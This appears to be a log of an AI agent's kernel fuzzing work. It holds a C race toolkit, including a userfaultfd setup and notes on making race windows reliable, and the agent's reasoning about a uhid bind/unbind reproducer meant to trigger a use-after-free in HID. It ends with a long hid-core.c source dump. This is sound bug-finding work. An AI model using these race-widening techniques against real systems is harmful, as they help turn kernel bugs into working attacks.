while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
]
|
| 109/5 |
2026/05/19 10:10 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 10876
output: 26
thoughts: 1593
Thoughts: **Analyzing the C Reproducer**
Okay, so the instructions are clear: I'll include the `race_toolkit.h` header as instructed – no need to overthink that part. Now, let's dive into this minimal C reproducer. It looks like we're dealing with a race condition related to HID devices and the `uhid` interface. The goal is likely to trigger a use-after-free or a similar memory safety issue by rapidly binding and unbinding a HID device while a read operation is in progress.
First, I see the typical setup: includes, file descriptors, and a volatile stop flag. The `create_uhid()` function sets up a `uhid` device, essential for emulating a HID device. Next, `find_dev_name()` finds the appropriate device name in the sysfs, likely based on the vendor and product ID. This is followed by `read_thread()`, which continuously reads from the `report_descriptor` file using `pread`. This is the target of the race: we want to read while it might be changing.
The interesting part is `bind_thread()`. This thread is responsible for the rapid bind/unbind sequence using sysfs files. It takes the `dev_name` and uses it to unbind and bind the HID device repeatedly. This is where the race condition likely lies: while the read thread is reading, the bind thread is unbinding the device.
In `main()`, the `uhid` device is created and the target device is found, with retries. Then, the path to the `report_descriptor` file is constructed. The `report_descriptor` file is opened for reading and the bind and unbind file descriptors are opened. I have to make sure that the `hid-logitech` driver is loaded. Finally, the two threads are created, and `sleep(5)` is used to allow time for the race to trigger KASAN.
Let's quickly check `bind_thread` for potential issues. The code uses `((int*)arg)[0]` and `((int*)arg)[1]` which are correct. The `fds` array stores the file descriptors for bind and unbind operations. Okay, no obvious issues there. I'll need to confirm that `pread` on the file descriptor still works after unbinding. If the device is unbound, the sysfs file might be removed, but since we have it open, we can still read it.
I'll check `hid-core.c` to see where `report_descriptor` is created.
The `hid_add_device` function probably creates it, via `sysfs_create_bin_file`.
Let's confirm if `hid_device_remove` actually removes the sysfs entries or just unbinds the driver.
|
| 110/5 |
2026/05/19 10:11 |
tool |
grepper |
0m
Error:
Args: map[Expression:sysfs_create_bin_file.*report_descriptor]
Results:
|
| 111/5 |
2026/05/19 10:11 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 13101
output: 19
thoughts: 23
Thoughts: Here's a first-person summary, tailored for an expert audience, of the thought process described:
**Diving into the HID Core**
Okay, time to get to the bottom of this. I need to understand how the report descriptor is being read and interpreted, so my first move is to zero in on `report_descriptor_read` within `drivers/hid/hid-core.c`. This is where the low-level processing likely takes place, and it's the most probable entry point for the crucial descriptor parsing logic. I'm assuming there will be some basic error checking and probably some device-specific handling in there. This is likely where the foundation is laid for understanding the device's capabilities and data format, so that's where I will start my exploration.
|
| 112/5 |
2026/05/19 10:11 |
tool |
grepper |
0m
Args: map[Expression:report_descriptor_read]
Results: map[Output:drivers/hid/hid-core.c=2251=static ssize_t
drivers/hid/hid-core.c:2252:report_descriptor_read(struct file *filp, struct kobject *kobj,
drivers/hid/hid-core.c-2253- const struct bin_attribute *attr,
]
|
| 113/5 |
2026/05/19 10:11 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 13400
output: 19
thoughts: 15
Thoughts: Okay, let's dive into this code.
**Investigating the Usage of `report_descriptor_read`**
My immediate focus is on understanding the scope and context of this `report_descriptor_read` function. I need to figure out where it's actually *used* within the larger system. Knowing the call sites is absolutely crucial. Without that context, I'm just looking at a snippet in isolation, which isn't going to be particularly helpful. I need to trace its path, see what other functions or modules rely on its output, and ultimately understand its role in the overall data flow. I’m thinking finding where it's used will lead to a better understanding of the larger design.
|
| 114/5 |
2026/05/19 10:11 |
tool |
grepper |
0m
Args: map[Expression:report_descriptor_read]
Results: map[Output:drivers/hid/hid-core.c=2251=static ssize_t
drivers/hid/hid-core.c:2252:report_descriptor_read(struct file *filp, struct kobject *kobj,
drivers/hid/hid-core.c-2253- const struct bin_attribute *attr,
]
|
| 115/5 |
2026/05/19 10:11 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 13676
output: 23
thoughts: 14
Thoughts: Okay, here's my summary, in the first person, as requested, assuming the user is an expert:
**Understanding the `bin_attribute` Definition**
Right, so I'm encountering this `bin_attribute` and I need to solidify my understanding of it before I proceed. I'm already quite familiar with the general concepts involved, but specific terminology can sometimes have subtle nuances depending on the context. I don't want to make any assumptions. I'll need to double-check the precise definition of how it's being used here. Even with my experience, a quick review can save a lot of debugging time later. I'm going to quickly look it up to make sure I'm on the same page. A clear grasp of the exact meaning will allow me to apply the concept effectively and avoid potential errors.
|
| 116/5 |
2026/05/19 10:11 |
tool |
codesearch-find-references |
0m
Args: map[Name:report_descriptor_read]
Results: map[References:<nil> TruncatedOutput:false]
|
| 117/5 |
2026/05/19 10:11 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 13904
output: 24
thoughts: 39
Thoughts: Here's my thought process, distilled:
**Digging into HID Core for Reference Resolution**
Okay, so `codesearch-find-references` failed me. That's not ideal, but it happens. Time to roll up my sleeves and dive directly into the code. I'm going to take a look at `drivers/hid/hid-core.c`, specifically around line 2252. My hunch is that the missing reference I'm chasing is probably related to core HID device handling, and line 2252 seems like a reasonable place to start – hopefully it'll give me a clue as to what's going on. Let's see what's in there.
|
| 118/5 |
2026/05/19 10:11 |
tool |
read-file |
0m
Args: map[File:drivers/hid/hid-core.c]
Results: map[Contents:// SPDX-License-Identifier: GPL-2.0-or-later
/*
* HID support for Linux
*
* Copyright (c) 1999 Andreas Gal
* Copyright (c) 2000-2005 Vojtech Pavlik <vojtech@suse.cz>
* Copyright (c) 2005 Michael Haboustak <mike-@cinci.rr.com> for Concept2, Inc
* Copyright (c) 2006-2012 Jiri Kosina
*/
/*
*/
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/mm.h>
#include <linux/spinlock.h>
#include <linux/unaligned.h>
#include <asm/byteorder.h>
#include <linux/input.h>
#include <linux/wait.h>
#include <linux/vmalloc.h>
#include <linux/sched.h>
#include <linux/semaphore.h>
#include <linux/hid.h>
#include <linux/hiddev.h>
#include <linux/hid-debug.h>
#include <linux/hidraw.h>
#include "hid-ids.h"
/*
* Version Information
*/
#define DRIVER_DESC "HID core driver"
static int hid_ignore_special_drivers = 0;
module_param_named(ignore_special_drivers, hid_ignore_special_drivers, int, 0600);
MODULE_PARM_DESC(ignore_special_drivers, "Ignore any special drivers and handle all devices by generic driver");
/*
* Convert a signed n-bit integer to signed 32-bit integer.
*/
static s32 snto32(__u32 value, unsigned int n)
{
if (!value || !n)
return 0;
if (n > 32)
n = 32;
return sign_extend32(value, n - 1);
}
/*
* Convert a signed 32-bit integer to a signed n-bit integer.
*/
static u32 s32ton(__s32 value, unsigned int n)
{
s32 a;
if (!value || !n)
return 0;
if (n > 32)
n = 32;
a = value >> (n - 1);
if (a && a != -1)
return value < 0 ? 1 << (n - 1) : (1 << (n - 1)) - 1;
return value & ((1 << n) - 1);
}
/*
* Register a new report for a device.
*/
struct hid_report *hid_register_report(struct hid_device *device,
enum hid_report_type type, unsigned int id,
unsigned int application)
{
struct hid_report_enum *report_enum = device->report_enum + type;
struct hid_report *report;
if (id >= HID_MAX_IDS)
return NULL;
if (report_enum->report_id_hash[id])
return report_enum->report_id_hash[id];
report = kzalloc_obj(struct hid_report);
if (!report)
return NULL;
if (id != 0)
report_enum->numbered = 1;
report->id = id;
report->type = type;
report->size = 0;
report->device = device;
report->application = application;
report_enum->report_id_hash[id] = report;
list_add_tail(&report->list, &report_enum->report_list);
INIT_LIST_HEAD(&report->field_entry_list);
return report;
}
EXPORT_SYMBOL_GPL(hid_register_report);
/*
* Register a new field for this report.
*/
static struct hid_field *hid_register_field(struct hid_report *report, unsigned usages)
{
struct hid_field *field;
if (report->maxfield == HID_MAX_FIELDS) {
hid_err(report->device, "too many fields in report\n");
return NULL;
}
field = kvzalloc((sizeof(struct hid_field) +
usages * sizeof(struct hid_usage) +
3 * usages * sizeof(unsigned int)), GFP_KERNEL);
if (!field)
return NULL;
field->index = report->maxfield++;
report->field[field->index] = field;
field->usage = (struct hid_usage *)(field + 1);
field->value = (s32 *)(field->usage + usages);
field->new_value = (s32 *)(field->value + usages);
field->usages_priorities = (s32 *)(field->new_value + usages);
field->report = report;
return field;
}
/*
* Open a collection. The type/usage is pushed on the stack.
*/
static int open_collection(struct hid_parser *parser, unsigned type)
{
struct hid_collection *collection;
unsigned usage;
int collection_index;
usage = parser->local.usage[0];
if (parser->collection_stack_ptr == parser->collection_stack_size) {
unsigned int *collection_stack;
unsigned int new_size = parser->collection_stack_size +
HID_COLLECTION_STACK_SIZE;
collection_stack = krealloc(parser->collection_stack,
new_size * sizeof(unsigned int),
GFP_KERNEL);
if (!collection_stack)
return -ENOMEM;
parser->collection_stack = collection_stack;
parser->collection_stack_size = new_size;
}
if (parser->device->maxcollection == parser->device->collection_size) {
collection = kmalloc(
array3_size(sizeof(struct hid_collection),
parser->device->collection_size,
2),
GFP_KERNEL);
if (collection == NULL) {
hid_err(parser->device, "failed to reallocate collection array\n");
return -ENOMEM;
}
memcpy(collection, parser->device->collection,
sizeof(struct hid_collection) *
parser->device->collection_size);
memset(collection + parser->device->collection_size, 0,
sizeof(struct hid_collection) *
parser->device->collection_size);
kfree(parser->device->collection);
parser->device->collection = collection;
parser->device->collection_size *= 2;
}
parser->collection_stack[parser->collection_stack_ptr++] =
parser->device->maxcollection;
collection_index = parser->device->maxcollection++;
collection = parser->device->collection + collection_index;
collection->type = type;
collection->usage = usage;
collection->level = parser->collection_stack_ptr - 1;
collection->parent_idx = (collection->level == 0) ? -1 :
parser->collection_stack[collection->level - 1];
if (type == HID_COLLECTION_APPLICATION)
parser->device->maxapplication++;
return 0;
}
/*
* Close a collection.
*/
static int close_collection(struct hid_parser *parser)
{
if (!parser->collection_stack_ptr) {
hid_err(parser->device, "collection stack underflow\n");
return -EINVAL;
}
parser->collection_stack_ptr--;
return 0;
}
/*
* Climb up the stack, search for the specified collection type
* and return the usage.
*/
static unsigned hid_lookup_collection(struct hid_parser *parser, unsigned type)
{
struct hid_collection *collection = parser->device->collection;
int n;
for (n = parser->collection_stack_ptr - 1; n >= 0; n--) {
unsigned index = parser->collection_stack[n];
if (collection[index].type == type)
return collection[index].usage;
}
return 0; /* we know nothing about this usage type */
}
/*
* Concatenate usage which defines 16 bits or less with the
* currently defined usage page to form a 32 bit usage
*/
static void complete_usage(struct hid_parser *parser, unsigned int index)
{
parser->local.usage[index] &= 0xFFFF;
parser->local.usage[index] |=
(parser->global.usage_page & 0xFFFF) << 16;
}
/*
* Add a usage to the temporary parser table.
*/
static int hid_add_usage(struct hid_parser *parser, unsigned usage, u8 size)
{
if (parser->local.usage_index >= HID_MAX_USAGES) {
hid_err(parser->device, "usage index exceeded\n");
return -1;
}
parser->local.usage[parser->local.usage_index] = usage;
/*
* If Usage item only includes usage id, concatenate it with
* currently defined usage page
*/
if (size <= 2)
complete_usage(parser, parser->local.usage_index);
parser->local.usage_size[parser->local.usage_index] = size;
parser->local.collection_index[parser->local.usage_index] =
parser->collection_stack_ptr ?
parser->collection_stack[parser->collection_stack_ptr - 1] : 0;
parser->local.usage_index++;
return 0;
}
/*
* Register a new field for this report.
*/
static int hid_add_field(struct hid_parser *parser, unsigned report_type, unsigned flags)
{
struct hid_report *report;
struct hid_field *field;
unsigned int max_buffer_size = HID_MAX_BUFFER_SIZE;
unsigned int usages;
unsigned int offset;
unsigned int i;
unsigned int application;
application = hid_lookup_collection(parser, HID_COLLECTION_APPLICATION);
report = hid_register_report(parser->device, report_type,
parser->global.report_id, application);
if (!report) {
hid_err(parser->device, "hid_register_report failed\n");
return -1;
}
/* Handle both signed and unsigned cases properly */
if ((parser->global.logical_minimum < 0 &&
parser->global.logical_maximum <
parser->global.logical_minimum) ||
(parser->global.logical_minimum >= 0 &&
(__u32)parser->global.logical_maximum <
(__u32)parser->global.logical_minimum)) {
dbg_hid("logical range invalid 0x%x 0x%x\n",
parser->global.logical_minimum,
parser->global.logical_maximum);
return -1;
}
offset = report->size;
report->size += parser->global.report_size * parser->global.report_count;
if (parser->device->ll_driver->max_buffer_size)
max_buffer_size = parser->device->ll_driver->max_buffer_size;
/* Total size check: Allow for possible report index byte */
if (report->size > (max_buffer_size - 1) << 3) {
hid_err(parser->device, "report is too long\n");
return -1;
}
if (!parser->local.usage_index) /* Ignore padding fields */
return 0;
usages = max_t(unsigned, parser->local.usage_index,
parser->global.report_count);
field = hid_register_field(report, usages);
if (!field)
return 0;
field->physical = hid_lookup_collection(parser, HID_COLLECTION_PHYSICAL);
field->logical = hid_lookup_collection(parser, HID_COLLECTION_LOGICAL);
field->application = application;
for (i = 0; i < usages; i++) {
unsigned j = i;
/* Duplicate the last usage we parsed if we have excess values */
if (i >= parser->local.usage_index)
j = parser->local.usage_index - 1;
field->usage[i].hid = parser->local.usage[j];
field->usage[i].collection_index =
parser->local.collection_index[j];
field->usage[i].usage_index = i;
field->usage[i].resolution_multiplier = 1;
}
field->maxusage = usages;
field->flags = flags;
field->report_offset = offset;
field->report_type = report_type;
field->report_size = parser->global.report_size;
field->report_count = parser->global.report_count;
field->logical_minimum = parser->global.logical_minimum;
field->logical_maximum = parser->global.logical_maximum;
field->physical_minimum = parser->global.physical_minimum;
field->physical_maximum = parser->global.physical_maximum;
field->unit_exponent = parser->global.unit_exponent;
field->unit = parser->global.unit;
return 0;
}
/*
* Read data value from item.
*/
static u32 item_udata(struct hid_item *item)
{
switch (item->size) {
case 1: return item->data.u8;
case 2: return item->data.u16;
case 4: return item->data.u32;
}
return 0;
}
static s32 item_sdata(struct hid_item *item)
{
switch (item->size) {
case 1: return item->data.s8;
case 2: return item->data.s16;
case 4: return item->data.s32;
}
return 0;
}
/*
* Process a global item.
*/
static int hid_parser_global(struct hid_parser *parser, struct hid_item *item)
{
__s32 raw_value;
switch (item->tag) {
case HID_GLOBAL_ITEM_TAG_PUSH:
if (parser->global_stack_ptr == HID_GLOBAL_STACK_SIZE) {
hid_err(parser->device, "global environment stack overflow\n");
return -1;
}
memcpy(parser->global_stack + parser->global_stack_ptr++,
&parser->global, sizeof(struct hid_global));
return 0;
case HID_GLOBAL_ITEM_TAG_POP:
if (!parser->global_stack_ptr) {
hid_err(parser->device, "global environment stack underflow\n");
return -1;
}
memcpy(&parser->global, parser->global_stack +
--parser->global_stack_ptr, sizeof(struct hid_global));
return 0;
case HID_GLOBAL_ITEM_TAG_USAGE_PAGE:
parser->global.usage_page = item_udata(item);
return 0;
case HID_GLOBAL_ITEM_TAG_LOGICAL_MINIMUM:
parser->global.logical_minimum = item_sdata(item);
return 0;
case HID_GLOBAL_ITEM_TAG_LOGICAL_MAXIMUM:
if (parser->global.logical_minimum < 0)
parser->global.logical_maximum = item_sdata(item);
else
parser->global.logical_maximum = item_udata(item);
return 0;
case HID_GLOBAL_ITEM_TAG_PHYSICAL_MINIMUM:
parser->global.physical_minimum = item_sdata(item);
return 0;
case HID_GLOBAL_ITEM_TAG_PHYSICAL_MAXIMUM:
if (parser->global.physical_minimum < 0)
parser->global.physical_maximum = item_sdata(item);
else
parser->global.physical_maximum = item_udata(item);
return 0;
case HID_GLOBAL_ITEM_TAG_UNIT_EXPONENT:
/* Many devices provide unit exponent as a two's complement
* nibble due to the common misunderstanding of HID
* specification 1.11, 6.2.2.7 Global Items. Attempt to handle
* both this and the standard encoding. */
raw_value = item_sdata(item);
if (!(raw_value & 0xfffffff0))
parser->global.unit_exponent = snto32(raw_value, 4);
else
parser->global.unit_exponent = raw_value;
return 0;
case HID_GLOBAL_ITEM_TAG_UNIT:
parser->global.unit = item_udata(item);
return 0;
case HID_GLOBAL_ITEM_TAG_REPORT_SIZE:
parser->global.report_size = item_udata(item);
if (parser->global.report_size > 256) {
hid_err(parser->device, "invalid report_size %d\n",
parser->global.report_size);
return -1;
}
return 0;
case HID_GLOBAL_ITEM_TAG_REPORT_COUNT:
parser->global.report_count = item_udata(item);
if (parser->global.report_count > HID_MAX_USAGES) {
hid_err(parser->device, "invalid report_count %d\n",
parser->global.report_count);
return -1;
}
return 0;
case HID_GLOBAL_ITEM_TAG_REPORT_ID:
parser->global.report_id = item_udata(item);
if (parser->global.report_id == 0 ||
parser->global.report_id >= HID_MAX_IDS) {
hid_err(parser->device, "report_id %u is invalid\n",
parser->global.report_id);
return -1;
}
return 0;
default:
hid_err(parser->device, "unknown global tag 0x%x\n", item->tag);
return -1;
}
}
/*
* Process a local item.
*/
static int hid_parser_local(struct hid_parser *parser, struct hid_item *item)
{
__u32 data;
unsigned n;
__u32 count;
data = item_udata(item);
switch (item->tag) {
case HID_LOCAL_ITEM_TAG_DELIMITER:
if (data) {
/*
* We treat items before the first delimiter
* as global to all usage sets (branch 0).
* In the moment we process only these global
* items and the first delimiter set.
*/
if (parser->local.delimiter_depth != 0) {
hid_err(parser->device, "nested delimiters\n");
return -1;
}
parser->local.delimiter_depth++;
parser->local.delimiter_branch++;
} else {
if (parser->local.delimiter_depth < 1) {
hid_err(parser->device, "bogus close delimiter\n");
return -1;
}
parser->local.delimiter_depth--;
}
return 0;
case HID_LOCAL_ITEM_TAG_USAGE:
if (parser->local.delimiter_branch > 1) {
dbg_hid("alternative usage ignored\n");
return 0;
}
return hid_add_usage(parser, data, item->size);
case HID_LOCAL_ITEM_TAG_USAGE_MINIMUM:
if (parser->local.delimiter_branch > 1) {
dbg_hid("alternative usage ignored\n");
return 0;
}
parser->local.usage_minimum = data;
return 0;
case HID_LOCAL_ITEM_TAG_USAGE_MAXIMUM:
if (parser->local.delimiter_branch > 1) {
dbg_hid("alternative usage ignored\n");
return 0;
}
count = data - parser->local.usage_minimum;
if (count + parser->local.usage_index >= HID_MAX_USAGES) {
/*
* We do not warn if the name is not set, we are
* actually pre-scanning the device.
*/
if (dev_name(&parser->device->dev))
hid_warn(parser->device,
"ignoring exceeding usage max\n");
data = HID_MAX_USAGES - parser->local.usage_index +
parser->local.usage_minimum - 1;
if (data <= 0) {
hid_err(parser->device,
"no more usage index available\n");
return -1;
}
}
for (n = parser->local.usage_minimum; n <= data; n++)
if (hid_add_usage(parser, n, item->size)) {
dbg_hid("hid_add_usage failed\n");
return -1;
}
return 0;
default:
dbg_hid("unknown local item tag 0x%x\n", item->tag);
return 0;
}
return 0;
}
/*
* Concatenate Usage Pages into Usages where relevant:
* As per specification, 6.2.2.8: "When the parser encounters a main item it
* concatenates the last declared Usage Page with a Usage to form a complete
* usage value."
*/
static void hid_concatenate_last_usage_page(struct hid_parser *parser)
{
int i;
unsigned int usage_page;
unsigned int current_page;
if (!parser->local.usage_index)
return;
usage_page = parser->global.usage_page;
/*
* Concatenate usage page again only if last declared Usage Page
* has not been already used in previous usages concatenation
*/
for (i = parser->local.usage_index - 1; i >= 0; i--) {
if (parser->local.usage_size[i] > 2)
/* Ignore extended usages */
continue;
current_page = parser->local.usage[i] >> 16;
if (current_page == usage_page)
break;
complete_usage(parser, i);
}
}
/*
* Process a main item.
*/
static int hid_parser_main(struct hid_parser *parser, struct hid_item *item)
{
__u32 data;
int ret;
hid_concatenate_last_usage_page(parser);
data = item_udata(item);
switch (item->tag) {
case HID_MAIN_ITEM_TAG_BEGIN_COLLECTION:
ret = open_collection(parser, data & 0xff);
break;
case HID_MAIN_ITEM_TAG_END_COLLECTION:
ret = close_collection(parser);
break;
case HID_MAIN_ITEM_TAG_INPUT:
ret = hid_add_field(parser, HID_INPUT_REPORT, data);
break;
case HID_MAIN_ITEM_TAG_OUTPUT:
ret = hid_add_field(parser, HID_OUTPUT_REPORT, data);
break;
case HID_MAIN_ITEM_TAG_FEATURE:
ret = hid_add_field(parser, HID_FEATURE_REPORT, data);
break;
default:
if (item->tag >= HID_MAIN_ITEM_TAG_RESERVED_MIN &&
item->tag <= HID_MAIN_ITEM_TAG_RESERVED_MAX)
hid_warn_ratelimited(parser->device, "reserved main item tag 0x%x\n", item->tag);
else
hid_warn_ratelimited(parser->device, "unknown main item tag 0x%x\n", item->tag);
ret = 0;
}
memset(&parser->local, 0, sizeof(parser->local)); /* Reset the local parser environment */
return ret;
}
/*
* Process a reserved item.
*/
static int hid_parser_reserved(struct hid_parser *parser, struct hid_item *item)
{
dbg_hid("reserved item type, tag 0x%x\n", item->tag);
return 0;
}
/*
* Free a report and all registered fields. The field->usage and
* field->value table's are allocated behind the field, so we need
* only to free(field) itself.
*/
static void hid_free_report(struct hid_report *report)
{
unsigned n;
kfree(report->field_entries);
for (n = 0; n < report->maxfield; n++)
kvfree(report->field[n]);
kfree(report);
}
/*
* Close report. This function returns the device
* state to the point prior to hid_open_report().
*/
static void hid_close_report(struct hid_device *device)
{
unsigned i, j;
for (i = 0; i < HID_REPORT_TYPES; i++) {
struct hid_report_enum *report_enum = device->report_enum + i;
for (j = 0; j < HID_MAX_IDS; j++) {
struct hid_report *report = report_enum->report_id_hash[j];
if (report)
hid_free_report(report);
}
memset(report_enum, 0, sizeof(*report_enum));
INIT_LIST_HEAD(&report_enum->report_list);
}
/*
* If the HID driver had a rdesc_fixup() callback, dev->rdesc
* will be allocated by hid-core and needs to be freed.
* Otherwise, it is either equal to dev_rdesc or bpf_rdesc, in
* which cases it'll be freed later on device removal or destroy.
*/
if (device->rdesc != device->dev_rdesc && device->rdesc != device->bpf_rdesc)
kfree(device->rdesc);
device->rdesc = NULL;
device->rsize = 0;
kfree(device->collection);
device->collection = NULL;
device->collection_size = 0;
device->maxcollection = 0;
device->maxapplication = 0;
device->status &= ~HID_STAT_PARSED;
}
static inline void hid_free_bpf_rdesc(struct hid_device *hdev)
{
/* bpf_rdesc is either equal to dev_rdesc or allocated by call_hid_bpf_rdesc_fixup() */
if (hdev->bpf_rdesc != hdev->dev_rdesc)
kfree(hdev->bpf_rdesc);
hdev->bpf_rdesc = NULL;
}
/*
* Free a device structure, all reports, and all fields.
*/
void hiddev_free(struct kref *ref)
{
struct hid_device *hid = container_of(ref, struct hid_device, ref);
hid_close_report(hid);
hid_free_bpf_rdesc(hid);
kfree(hid->dev_rdesc);
kfree(hid);
}
static void hid_device_release(struct device *dev)
{
struct hid_device *hid = to_hid_device(dev);
kref_put(&hid->ref, hiddev_free);
}
/*
* Fetch a report description item from the data stream. We support long
* items, though they are not used yet.
*/
static const u8 *fetch_item(const __u8 *start, const __u8 *end, struct hid_item *item)
{
u8 b;
if ((end - start) <= 0)
return NULL;
b = *start++;
item->type = (b >> 2) & 3;
item->tag = (b >> 4) & 15;
if (item->tag == HID_ITEM_TAG_LONG) {
item->format = HID_ITEM_FORMAT_LONG;
if ((end - start) < 2)
return NULL;
item->size = *start++;
item->tag = *start++;
if ((end - start) < item->size)
return NULL;
item->data.longdata = start;
start += item->size;
return start;
}
item->format = HID_ITEM_FORMAT_SHORT;
item->size = BIT(b & 3) >> 1; /* 0, 1, 2, 3 -> 0, 1, 2, 4 */
if (end - start < item->size)
return NULL;
switch (item->size) {
case 0:
break;
case 1:
item->data.u8 = *start;
break;
case 2:
item->data.u16 = get_unaligned_le16(start);
break;
case 4:
item->data.u32 = get_unaligned_le32(start);
break;
}
return start + item->size;
}
static void hid_scan_input_usage(struct hid_parser *parser, u32 usage)
{
struct hid_device *hid = parser->device;
if (usage == HID_DG_CONTACTID)
hid->group = HID_GROUP_MULTITOUCH;
}
static void hid_scan_feature_usage(struct hid_parser *parser, u32 usage)
{
if (usage == 0xff0000c5 && parser->global.report_count == 256 &&
parser->global.report_size == 8)
parser->scan_flags |= HID_SCAN_FLAG_MT_WIN_8;
if (usage == 0xff0000c6 && parser->global.report_count == 1 &&
parser->global.report_size == 8)
parser->scan_flags |= HID_SCAN_FLAG_MT_WIN_8;
}
static void hid_scan_collection(struct hid_parser *parser, unsigned type)
{
struct hid_device *hid = parser->device;
int i;
if (((parser->global.usage_page << 16) == HID_UP_SENSOR) &&
(type == HID_COLLECTION_PHYSICAL ||
type == HID_COLLECTION_APPLICATION))
hid->group = HID_GROUP_SENSOR_HUB;
if (hid->vendor == USB_VENDOR_ID_MICROSOFT &&
hid->product == USB_DEVICE_ID_MS_POWER_COVER &&
hid->group == HID_GROUP_MULTITOUCH)
hid->group = HID_GROUP_GENERIC;
if ((parser->global.usage_page << 16) == HID_UP_GENDESK)
for (i = 0; i < parser->local.usage_index; i++)
if (parser->local.usage[i] == HID_GD_POINTER)
parser->scan_flags |= HID_SCAN_FLAG_GD_POINTER;
if ((parser->global.usage_page << 16) >= HID_UP_MSVENDOR)
parser->scan_flags |= HID_SCAN_FLAG_VENDOR_SPECIFIC;
if ((parser->global.usage_page << 16) == HID_UP_GOOGLEVENDOR)
for (i = 0; i < parser->local.usage_index; i++)
if (parser->local.usage[i] ==
(HID_UP_GOOGLEVENDOR | 0x0001))
parser->device->group =
HID_GROUP_VIVALDI;
}
static int hid_scan_main(struct hid_parser *parser, struct hid_item *item)
{
__u32 data;
int i;
hid_concatenate_last_usage_page(parser);
data = item_udata(item);
switch (item->tag) {
case HID_MAIN_ITEM_TAG_BEGIN_COLLECTION:
hid_scan_collection(parser, data & 0xff);
break;
case HID_MAIN_ITEM_TAG_END_COLLECTION:
break;
case HID_MAIN_ITEM_TAG_INPUT:
/* ignore constant inputs, they will be ignored by hid-input */
if (data & HID_MAIN_ITEM_CONSTANT)
break;
for (i = 0; i < parser->local.usage_index; i++)
hid_scan_input_usage(parser, parser->local.usage[i]);
break;
case HID_MAIN_ITEM_TAG_OUTPUT:
break;
case HID_MAIN_ITEM_TAG_FEATURE:
for (i = 0; i < parser->local.usage_index; i++)
hid_scan_feature_usage(parser, parser->local.usage[i]);
break;
}
/* Reset the local parser environment */
memset(&parser->local, 0, sizeof(parser->local));
return 0;
}
/*
* Scan a report descriptor before the device is added to the bus.
* Sets device groups and other properties that determine what driver
* to load.
*/
static int hid_scan_report(struct hid_device *hid)
{
struct hid_item item;
const __u8 *start = hid->dev_rdesc;
const __u8 *end = start + hid->dev_rsize;
static int (*dispatch_type[])(struct hid_parser *parser,
struct hid_item *item) = {
hid_scan_main,
hid_parser_global,
hid_parser_local,
hid_parser_reserved
};
struct hid_parser *parser __free(kvfree) = vzalloc(sizeof(*parser));
if (!parser)
return -ENOMEM;
parser->device = hid;
hid->group = HID_GROUP_GENERIC;
/*
* In case we are re-scanning after a BPF has been loaded,
* we need to use the bpf report descriptor, not the original one.
*/
if (hid->bpf_rdesc && hid->bpf_rsize) {
start = hid->bpf_rdesc;
end = start + hid->bpf_rsize;
}
/*
* The parsing is simpler than the one in hid_open_report() as we should
* be robust against hid errors. Those errors will be raised by
* hid_open_report() anyway.
*/
while ((start = fetch_item(start, end, &item)) != NULL)
dispatch_type[item.type](parser, &item);
/*
* Handle special flags set during scanning.
*/
if ((parser->scan_flags & HID_SCAN_FLAG_MT_WIN_8) &&
(hid->group == HID_GROUP_MULTITOUCH))
hid->group = HID_GROUP_MULTITOUCH_WIN_8;
/*
* Vendor specific handlings
*/
switch (hid->vendor) {
case USB_VENDOR_ID_WACOM:
hid->group = HID_GROUP_WACOM;
break;
case USB_VENDOR_ID_SYNAPTICS:
if (hid->group == HID_GROUP_GENERIC)
if ((parser->scan_flags & HID_SCAN_FLAG_VENDOR_SPECIFIC)
&& (parser->scan_flags & HID_SCAN_FLAG_GD_POINTER))
/*
* hid-rmi should take care of them,
* not hid-generic
*/
hid->group = HID_GROUP_RMI;
break;
}
kfree(parser->collection_stack);
return 0;
}
/**
* hid_parse_report - parse device report
*
* @hid: hid device
* @start: report start
* @size: report size
*
* Allocate the device report as read by the bus driver. This function should
* only be called from parse() in ll drivers.
*/
int hid_parse_report(struct hid_device *hid, const __u8 *start, unsigned size)
{
hid->dev_rdesc = kmemdup(start, size, GFP_KERNEL);
if (!hid->dev_rdesc)
return -ENOMEM;
hid->dev_rsize = size;
return 0;
}
